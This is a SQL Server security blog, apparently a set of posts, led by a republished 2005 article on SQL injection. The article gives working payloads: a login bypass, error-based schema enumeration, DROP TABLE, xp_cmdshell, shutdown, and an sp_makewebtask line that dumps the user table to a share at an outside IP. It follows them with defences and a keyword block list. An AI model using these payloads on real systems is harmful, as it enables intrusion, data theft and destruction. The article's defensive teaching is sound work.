SQLInjection, Basic Hacking Technique

I remember writing this article when the Tsunami hit Sri Lanka in 2004 December and was published in the SQLStandard Magazine in 2005. After more than 15 years of this publication, last month I had to confront another SQL injection incident. Since the Magazine is not available now I thought of publishing this in the Blog. 

------------------------------------------------------------------------------------------------------------

No matter what your role in your database, whether you are a designer, developer, database administrator or QA personnel, the question of security is always on your mind. Even though you have taken enough measures to secure your database, hackers will find new methodologies to hack into your database systems. They are like guerrilla warfighters; one tiny fault is more than enough for them to create a mess. 

SQL Injection is one of the methods used by hackers. I hope that after reading this, you will not try to practice on other websites as you are database professionals. However, I believe that after reading this you will take additional steps to secure your database from SQL Injection hackers. After going through this you will find that there is nothing new, just some techniques, which are still being widely used. Despite the fact that much of this information has been public for some time, I have noticed that there are many websites that are vulnerable to SQL Injection attacks.

Introduction

SQL Injection is an attack based on injecting unauthorized SQL query/commands into some command stream by taking advantage of invalidated input, mainly from websites. Hackers are using “string building” techniques to inject SQL Servers. Many web pages take parameters from users. By using those parameters to build their strings, attackers can send various types of commands and queries to the SQL Server. Usually, these commands are those that might compromise your website.

What you can do using SQL Injection

The following are some of the activities that can be done from SQL Injection. Keep in mind that there are more creative things that can be performed, but this is a shortlist of attacks that have been performed.

• Escape Authorization and logins to websites.

• Obtaining table structures

• Insert / Update / Delete data from tables

• Drop tables, views and even stored procedures

• Retrieving data that would not otherwise be available.

• Run other applications like Notepad, MS Word etc.

• Shutdown of the SQL Server service

Let us look at how these can be done by the attackers. First, let me give you a brief outline of the sample program to demonstrate SQL Injection. I will use one simple table which contains useful information.

I won’t elaborate on anything about the table structure, as we will be able to find it from the SQL Injection attack. The first HTML page (from.html) will accept the user id and the password and pass them to the Login_validation.asp page, in which it validates the user name and the password and shows whether the access right is granted or not. In the Login_validation.asp it will set the connection

to the database and perform a simple select statement with the USERID and PASSWORD to find whether there is a matching record. If any, it will display an error. Otherwise, it will continue from there.

If it is an authorized user, he will type his user name and the password that is assigned to him. But if the user is an attacker, he can perform wonders.

What will happen if he types ‘ OR 1 = 1 in the UserName box. 

For the time being let’s assume that the query is ;

Select * from users where username =’USERNAME’ and password =’PASSWORD’

Now with the above parameters, the query is modified to:

Select * from users where username =’’ OR 1 = 1

With this code, you will return a recordset of data, which will indicate a valid user. This would allow the user to proceed to the next step without denying access, despite the fact that the user did not enter a password.

Next, we will discuss getting information about the table structure. Up to now, we know nothing about the table structure, but if the user types ‘ Having 1 = 1 -– at the username box, you will receive an error message saying,

Microsoft OLE DB Provider for SQL Server (0x80040E14)

Column ‘userinfo.UserId’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

Eureka! You now know that there is a table named USERINFO and it has a field named UserId. Having gotten the first table, you can then type the following at the Name field: ‘ Group by userinfo.userid

Having 1 = 1 –-

Then you will get the following error:

Error Type:

Microsoft OLE DB Provider for SQL Server (0x80040E14)

Column ‘userinfo.UserName’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

Oops! There is the next field, UserName. Likewise, you can get the rest of the field names in this table with some experimentation. After getting the names of the fields, the next task is to find out the types of the fields. This is a trial-and-error method. By doing the following things, you can get the field types as well.

‘ ; update userinfo set userid = 1 —

If you see an error about type conversions, then you will know whether this is a numeric field or a character field. 

‘ ; drop table userinfo —

What will happen if the user types the above line in the username field? My goodness!!! That is the end of the userinfo table. Similarly, you can inject Insert Update and Delete statements as well, as well as alter table commands.

Retrieving data is the next action we will look at with SQL Injection. After getting information, attackers could change it as they can use the update command. Just imagine if they set to zero the customers’ outstanding balance. That could be the end of your business. 

Things will become even worse if they retrieve the customers’ email addresses and send them e-mails stating that their details are exposed. Customers will lose faith in you, and you will lose business.

These types of attacks also enable the hackers to send spam at their whim.

Suppose an attacker typed the following:

‘ ; EXEC sp_makewebtask “\\12.12.64.4\SQL Injection\user.html”,

“Select * from userInfo” —

at the Username field. It will give you the complete list of the Userinfo in the user.html file, which you can view from your browser.

Performance is a key issue in the SQL Server. As developers and designers, we are very keen on performance, aren’t we? 

Nevertheless, SQL Injection can drop your performance down to a great extent. If somebody can run several other applications on your database server, there is no doubt that performance will go down. In most cases, other applications are not installed in the database server and it will be far better if you can remove other applications from your servers. How can they do this? If they type enough of these commands;

‘ ; exec master..xp_cmdshell ‘winword’ — – MS Word will make an instance

‘ ; exec master..xp_cmdshell ‘Notepad’ — – NotePad will make an instance

These instances will slow down the SQL Server and it will definitely slow down the system performance.

Do you believe that SQL Injection can shut down the SQL Server service? Yes, it can. Entering this at the username prompt will do just that.

‘ ; shutdown –

How to Prevent SQL Injection Attacks

This is the most important part of this article. Limiting the length of the fields is the basic preventive action that you can take. For example, if you allow only 15 characters to the user field you have prevented many SQL Injection attacks. Nevertheless, commands like SHUTDOWN can possibly violate the system by keeping within the limited length.

Input validation is the next best method. As a developer, you should always believe that all the inputs are susceptible to attack and validate them. For numeric fields like age, you can use ISNUMERIC function. For input fields, you can also look for keywords such as SELECT, UPDATE, DELETE, WHERE, INSERT,DROP, UNION, LIKE, HAVING, GROUP, ALTER, TABLE and also punctuations like , , ‘ , “ , — , ) ,;, ( and spaces. A small function I have written can achieve this.

Function string_validation (strVal)

string_validation = True

eliminate_string = Array(“select”, “insert”, “update”, “delete”,

“where”, “drop”, “union”, “like”, “group”, “having”, “,”, “—”, “)”, “char”)

For i = LBound (eliminate_string) To UBound(eliminate_string)

If (InStr(1, strVal, eliminate_string(i), vbTextCompare) <> 0) Then

string_validation = False

End If

Next

End Function

However, you can’t eliminate all the above keywords and punctuations as some may be valid inputs. For example, Michel’s birthday is a valid entry. You can use the following function to eliminate its SQL Injection vulnerability.

Replace (Variable,” ‘ “,” ‘ ‘ “)

There is another important thing to note. Hackers can use CHAR function instead of other punctuations, and you have to validate that function as well. 

Attackers use error messages to get the table structure, as you observed earlier. Therefore, you should use customized error messages rather than displaying default error messages.

For data access, it is advisable to use a stored procedure rather than getting data directly from the table and the views. In calling stored procedures, it is better to implement the ADO command object so that variables are strongly typed.

As you observed in earlier sections, attackers can make use of some stored procedures. Delete those stored procedures that you are not using such as master..xp_cmdshell, xp_startmail,xp_sendmail, sp_makewebtask. However, in most cases, deleting the above-stored procedures will not be possible. In such instances, you can disable the above-stored procedures for the application user access and only allow administrators to execute them.

Another way of preventing SQL Injection is by assigning less privileged users for the application access. From this, we are able to deny rights like the drop operation for a given user.

Conclusion

You can now visualize the importance of preventing SQL Injection attacks. Advise and educate your QA teams about the SQL Injection techniques and have them carry out extensive testing to be sure that your applications are not vulnerable. Implementing a coding standard for developers along with this is an effective way of preventing many forms of SQL Injection attacks.

And this isn’t just for SQL Server. Other databases like Sybase, Oracle, DB2, and even Access are subject to SQL Injection to various degrees. If you support other platforms, you should check them all for these vulnerabilities. Attacks on any of your applications can be very bad for your business.

Four Security Learnings from the Lockerby Bombing

On 1988 December 21st, PAN AM flight to New York from Heathrow blasted in the high skies of Lockerby, Scotland killing 270 people. Though there were a lot of political issues and a lot of conspiracy theories behind this incident, let us discuss the learning of this unfortunate incident with the focus on Security concepts. 

According to the official investigation, the bomb was passed to the aeroplane from Malta. This bomb planted luggage was passed to counters just before the closing of the aeroplane gate. Since there is a lack of time to check, airport officials have ignored the security protocols.

#Learning 1: Your customers might be pushing you to ignore the security policies citing the business needs. However, security should come first.

Next, the bomb was transferred to an aeroplane in Frankfurt. Since this is a plastic bomb, you need a colour monitor was required to detect. The colour monitor was not in operation for many days and the bomb was passed through the Frankfurt airport safely. 

#Learning 2: Many security implementations are initiated but not maintained. 

Finally, at the Heathrow airport, all luggages from Frankfurt were not checked as Heathrow official assumed that these luggages were well checked at the Frankfurt. This was done to avoid plane delayed considering there were a large number of passengers during the Christmas season. So the planted bomb passed into the third plane dispute there were warnings before. 

#Learning 3: Security should be placed in higher priority than other business needs. 

#Learning 4: When multiple security implementations are inplaced, they should be independent of others. One security implementation should not depend on others.

All these security lapses accounted for 270 lives including 11 people who were the citizens of Lockerby who had nothing do with the said plane. These lives could have saved if the basic concepts of security met during the entire journey of the plane. 

Row Level Security went Wrong

It was an organization where there had sales representatives around the country. It was asked to developed an analytical system to so that strategic management can get a holistic view of the business. 

ETL was developed to extract data from multiple sales representative database and was loaded into the central database at the head office. Then the OLAP cube was built to further analysis. Management was very happy and they wanted to deploy this feature to the sales representative so that they can do their own analysis. Without much thought, we were carried away with the success and access was provided to the sales representative. 

That happiness was ended after two months with a call from the client. Since we have not implemented Row Level Security in OLAP Cube, sales representatives were able to see other sales representatives data. Previously, they were working on their own boundary and they were unable to see others' data. With the OLAP cube access now they can see the others' data. One sales representative had accessed someone else's data and he has obtained, is revival reps customers details with the markup values. Then the rest is you can imagine. He has gone to all those clients and offered better markup and got all the business. 

Immediately, the access of the sales representatives were revoked until Row Level Security (RLS) was implemented. After careful consideration, RLS was implemented so that these types of issues will not happen again. However, the damage is done along with the reputation!!

Best Practices for SQL Server Deployment in Healthcare

Though this article is specific about SQL Server security in health care,  we can apply the same principals for other environments as well,

Read more at http://healthitsecurity.com/news/best-practices-for-sql-server-deployment-in-healthcare

SQL Server 2016: Row-Level Security

A common criticism for SQL Server’s security model is that it only understands tables and columns. If you want to apply security rules on a row-by-row basis, you have to simulate it using stored procedures or table value functions, and then find a way to make sure there is no way to bypass them. With SQL Server 2016, that is no longer a problem.

Read more at http://www.infoq.com/news/2015/06/SQL-Server-Row-Level-Security

SQL Server 2016: Always Encrypted

SQL Server 2016 seeks to make encryption easier via its new Always Encrypted feature. This feature offers a way to ensure that the database never sees unencrypted values without the need to rewrite the application.

Read more at http://www.infoq.com/news/2015/06/SQL-Server-Always-Encrypted

SQL Server 2014 Security Enhancements : User Object Permissions

In many database systems, it is a requirement to grant read permission for all databases. To achieve this, there is no other way but grant read permission to each and every database. Read more http://www.sql-server-performance.com/2015/sql-server-2014-security-enhancements-user-object-permissions/

Using QUOTENAME() to Protect Against SQLInjection

This short article describes you to simple way of protecting from SQLInjection.

http://www.sql-server-performance.com/2014/using-quotename-protect-sqlinjection/

Bobby Tables: A guide to preventing SQL injection

 

Source: http://bobby-tables.com/

Default Database Issues and Best Practices

Default database is a feature which is not used by many. This article is about default databases.

SQL Server 2000 Losing Security Support on April 9

SQL Server 2000 is at the end of its product lifecycle and will lose its "extended support" from Microsoft on Tuesday, April 9.

The loss of extended support means no more security updates will be delivered to customers via Microsoft's update service. Remedies for organizations still using SQL Server 2000 are to upgrade the product (Microsoft is recommending moving to its current SQL Server 2012 product) or pay for "custom support" through Microsoft Premier Support services, according to a Microsoft announcement.

It's possible to continue to run SQL Server 2000 after April 9, but that approach isn't recommended by Microsoft for security reasons. Self-help resources, such as Knowledge Base articles and troubleshooting tools, will continue to be available online for a minimum of 12 months.

http://redmondmag.com/articles/2013/04/05/sql-server-2000-support.aspx

SET IDENTITY_INSERT

This is the seventh post of SET Statement series.

SET IDENTITY_INSERT is one of the most commonly used SET statement. SET IDENTITY_INSERT will be set to ON when you need to be inserted into the identity column of a table explicitly.

CREATE TABLE Department
(DeptID INT IDENTITY(1,1) PRIMARY KEY CLUSTERED,
DepartmentName Varchar(50)
)


INSERT INTO Department
(DepartmentName)
VALUES
('Account'),
('Human Resources')

If you select from the table you will see DeptID column is populated with requital value.

Now what if we have a requirement of inserting deptid explicitly.

INSERT INTO Department
(DeptID,DepartmentName)
VALUES
(5,'Transport')

this will return an error as shown below.

Msg 544, Level 16, State 1, Line 2
Cannot insert explicit value for identity column in table 'Department' when IDENTITY_INSERT is set to OFF.

So to avoid this issue, you need to SET the IDENTITY_INSERT property on. This property is valid on for the session which enabled the IDENTITY_INSERT ON.

SET IDENTITY_INSERT  Department ON

INSERT INTO Department
(DeptID,DepartmentName)
VALUES
(5,'Transport')

SET IDENTITY_INSERT  Department OFF

If the value entered to the identity column is greater than the current identity value, after inserting new value value identity will be set to the new value. For example, if the current identity of the table is 5 and if you insert 100 to the identity column, next time you insert data without IDENTITY_INSERT option on, next value for the identity will be 101. However, if you are inserting a value less than the current identity value, current identity value remains.

To perform a IDENTITY INSERT you nee alter permission to the table not the write permission.

Previous posts of this series,

SET IMPLICIT_TRANSACTIONS ON

SET NOCOUNT

SET DEADLOCK_PRIORITY

SET CONCAT_NULL_YIELDS_NULL

SET FORCEPLAN

SET PARSEONLY

Find Orphaned Users In SQL Server

Orphan users can occur once you detach databases or restore a database from another SQL Server database instance. Read this FAQ how to manage those instances.

Is Truncate a DDL Statement or DML Statement?

Since operational wise or user experience wise, truncate is equal to DELETE entire table and DELETE is a DML statement, most people think that Truncate is DML statement.

So let us verify this.

Let us create a table to play around.

Let me create user with DML permissions.

Now using this user let us truncate the employee table.

You will end up with an error as shown below.

Msg 1088, Level 16, State 7, Line 2
Cannot find the object "Employee" because it does not exist or you do not have permissions.

You will end up with an error as shown below.

Now let us create a user with DDL permission.

Let us truncate the table using this user.

since this is a success Truncate is a DDL statement.

Granting Column Wise Permission

You might know that you have the option of allocating permission Column wise. For example, you can GRANT permission to another user so that he can select Name column of the Employee table while does not have permission to select Salary column.

Let us assume with following case.

I have a table ,( let us say , Production.ProductCategory)  I grant select permission for two columns while deny permission for the entire table for a user as shown below.

So the question is , what is the effective rights. Can he select those columns or will he be denied on select permission?

What is the rule for security,

Denial of access always out weights a grant of access, with the exception of the sysadmin role at server.

If you go by the above rule, the user should not be able to access those two columns. But to your surprise, by default user can select those columns.

So what is the concept behind this?

MSDN says,

A table-level DENY does not take precedence over a column-level GRANT. This inconsistency in the permissions hierarchy has been preserved for backward compatibility.

Can you change this.

Yes you can by running following script.

However, you need to restart SQL Server instance after running the above query.

Who is the SQL Server Guest User ?

Do you know what guest user and how it works in SQL Server. Here is the article for it.

Hacker group hits Warner Bros and China Telecom

A group calling itself SwaggSec is claiming to have hacked the networks of Warner Bros and China Telecom, and has released documents and logins online.

In a statement on Pastebin, the group says that both companies had severe vulnerabilities.

"China Telecom's SQL Server had an extremely low processing capacity, and with us being impatient, after about a month straight of downloading, we stopped. However, a few times we accidentally DDoS'd their SQL Server. I guess they thought nothing of it, until we left them a little message signed by SwaggSec," it says.

"They realized they were hacked, and simply moved their SQL server. No changing of admin passwords, or alerting the media. At any moment, we could have and still could destroy their communication infrastructure leaving millions without communication."

SwaggSec has also released the details of what it claims are over 900 admin users for China Telecom. It's published the login for this, and is encouraging people to access and tamper with its data.

As for Warner Bros, it says, hacking the company's intranet revealed that the company was aware of 'critical vulnerabilities' - but had done nothing about them, giving Swaggsec 'complete access to their servers'.

It includes a recent report titled 'Content Security Status Update', which includes a list of the company's top 10 medium-to-high-risk vulnerabilities. The top two are cross-site scripting and unsupported SSL.

Source : http://www.tgdaily.com

Contained Databases in SQL Server 2012

Contained databases is a new security feature in SQL Server 2012. Read the new article on Contained Databases in SQL Server 2012.

SQL Server Injection

 

I wrote this article to sqlserverstandard magazine which was published in 2005 June (7 years ago, hmmm) . I don’t have the hard copy so every time some one asked, I need to search which will cost me 1/2 – 1 hr. So thought of publishing it here again.

Default Database for Login

Creating logins is not a rocket science in SQL Server. When creating a user, you might have seen an option where you can select default database.

 

So here you are assigning SampleDB to the user sql_user1

 

By assigning this, when use is logged in, he will be taken to SampleDB so that he he doesn’t have to change the database.

But what if this database is dropped later or permission for the user for this database is revoked.

So you have problems of logging to the SQL Server and you can change the default database to got away with this error.

In the login page, you can change the connection properties to connect to any database.

So what is the best database you should select as default database.

I will go for the tempDB for few reasons.

• All users has access to tempdb, so that logins will not failed.
• If default database is master, there is a change that mistakenly you will create objects like tables etc in that and most of the time you won’t be dropping them.  In case, those objects are created in Tempdb, they will be dropped when the SQL Server restarts again!